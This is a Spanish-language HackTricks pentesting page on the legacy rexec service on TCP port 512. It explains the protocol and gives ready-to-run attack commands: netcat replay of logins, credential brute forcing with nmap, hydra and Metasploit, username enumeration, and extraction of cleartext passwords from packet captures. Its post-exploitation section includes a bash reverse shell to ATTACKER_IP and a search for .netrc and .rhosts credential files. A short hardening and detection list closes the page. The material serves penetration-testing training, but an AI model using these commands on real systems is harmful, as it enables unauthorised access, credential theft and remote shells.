512 - Pentesting Rexec
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información Básica
Rexec (remote exec) es una de las suites originales de r-services de Berkeley (junto con rlogin, rsh, …). Proporciona una capacidad de ejecución remota de comandos autenticada únicamente con un nombre de usuario y contraseña en texto claro. El protocolo fue definido a principios de los años 80 (véase RFC 1060) y hoy en día se considera inseguro por diseño. No obstante, todavía viene habilitado por defecto en algunos equipos legacy UNIX / network-attached equipment y aparece ocasionalmente durante pentests internos.
Puerto por defecto: TCP 512 (exec)
PORT STATE SERVICE
512/tcp open exec
🔥 Todo el tráfico – incluidas las credenciales – se transmite unencrypted. Cualquiera con la capacidad de sniffear la red puede recuperar el username, password y el comando.
Descripción rápida del protocolo
- El cliente se conecta al puerto TCP 512.
- El cliente envía tres NUL-terminated strings:
- el número de puerto (en ASCII) donde desea recibir stdout/stderr (a menudo
0), - el username,
- el password.
- Se envía una cadena final NUL-terminated con el command a ejecutar.
- El servidor responde con un único byte de estado de 8 bits (0 = éxito,
1= fallo) seguido por la salida del comando.
Si el primer campo es non-zero, el servidor abre una segunda conexión TCP de vuelta al cliente y la usa para stderr. Esto es útil tanto para pruebas manuales como para fingerprinting filtering / firewall issues alrededor del servicio.
Eso significa que puedes reproducir el intercambio con nada más que echo -e y nc:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
Si las credenciales son válidas recibirás la salida de id inmediatamente en la misma conexión.
Si quieres recibir stderr en un listener dedicado, pide al server que se conecte de vuelta a ti:
nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512
Muchas implementaciones comunes (por ejemplo GNU rexecd) aún imponen 16-byte username/password fields y devuelven cadenas de diagnóstico diferentes para nombres de usuario inválidos frente a contraseñas inválidas. Eso importa durante la enumeration porque algunos objetivos leak si la cuenta existe antes de que comiences el brute forcing.
Uso manual con el cliente
Muchas distribuciones de Linux aún incluyen el cliente heredado dentro del paquete inetutils-rexec / rsh-client:
rexec -l user -p password <target> "uname -a"
Si se omite -p el cliente solicitará interactivamente la contraseña (visible en la red en texto sin cifrar!).
Para evitar dejar la contraseña en el historial del shell / la lista de procesos, GNU rexec también soporta leerla desde stdin:
printf '%s\n' 'password' | rexec -l user -p - <target> "id"
Esto no es más seguro en la network; solo reduce la exposición local en el host atacante.
Enumeration & Brute-forcing
Brute-force
Nmap
nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
El rexec-brute NSE usa el protocolo descrito anteriormente para probar credenciales muy rápidamente.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra tiene un módulo dedicado rexec y sigue siendo the fastest offline bruteforcer. medusa (-M REXEC) y ncrack (rexec module) pueden usarse de la misma manera.
Username enumeration through server messages
Algunas implementaciones de rexecd exponen errores distintos como Login incorrect. vs Password incorrect.. Si ves este comportamiento, valida los usernames primero y solo entonces brute force passwords:
printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
Comprueba los r-services relacionados
rexec utiliza autenticación por contraseña, a diferencia de la lógica de hosts de confianza de rsh / rlogin, pero en la práctica a menudo provienen del mismo paquete legacy (openbsd-inetd, inetutils, vendor UNIX bundles). Si TCP 512 está abierto, revisa inmediatamente TCP 513 y 514 también porque .rhosts / /etc/hosts.equiv abuse puede ofrecer un movimiento lateral más fácil:
nmap -sV -p 512,513,514 <target>
Ver también:
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
El módulo iniciará un shell en caso de éxito y almacenará las credentials en la base de datos .
Sniffing credentials
Como todo está en texto sin cifrar, network captures are priceless. Con una copia del tráfico puedes extraer creds sin tocar el target:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark habilita Decode As … TCP 512 → REXEC para ver campos mostrados de forma legible.)
Consejos de post-explotación
- Los comandos se ejecutan con los privilegios del usuario suministrado. Si
/etc/pam.d/rexecestá mal configurado (p. ej.pam_rootok), a veces es posible obtener shells root. - Rexec ignora el shell del usuario y ejecuta el comando vía
/bin/sh -c <cmd>. Por tanto puedes usar los típicos trucos de escape de shell (;,$( ), backticks) para encadenar varios comandos o generar reverse shells:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Las contraseñas a menudo se almacenan en
~/.netrco en scripts de automatización heredados en otros sistemas; si comprometes un host puedes reutilizarlas para movimiento lateral:
find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null
Endurecimiento / Detección
- No expongas rexec; reemplázalo por SSH. Prácticamente todos los inetd superservers modernos comentan el servicio por defecto.
- Si debes mantenerlo, restringe el acceso con TCP wrappers (
/etc/hosts.allow) o reglas de firewall y aplica contraseñas fuertes por cuenta. - Monitorea el tráfico hacia :512 y los lanzamientos del proceso
rexecd. Una sola captura de paquetes es suficiente para detectar una compromisión. - Deshabilita
rexec,rlogin,rshjuntos – comparten gran parte de la misma base de código y debilidades.
Referencias
- GNU Inetutils
rexecd/rexecdocumentation – https://www.gnu.org/software/inetutils/manual/html_node/rexecd-invocation.html - Nmap NSE
rexec-brutedocumentation – https://nmap.org/nsedoc/scripts/rexec-brute.html
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


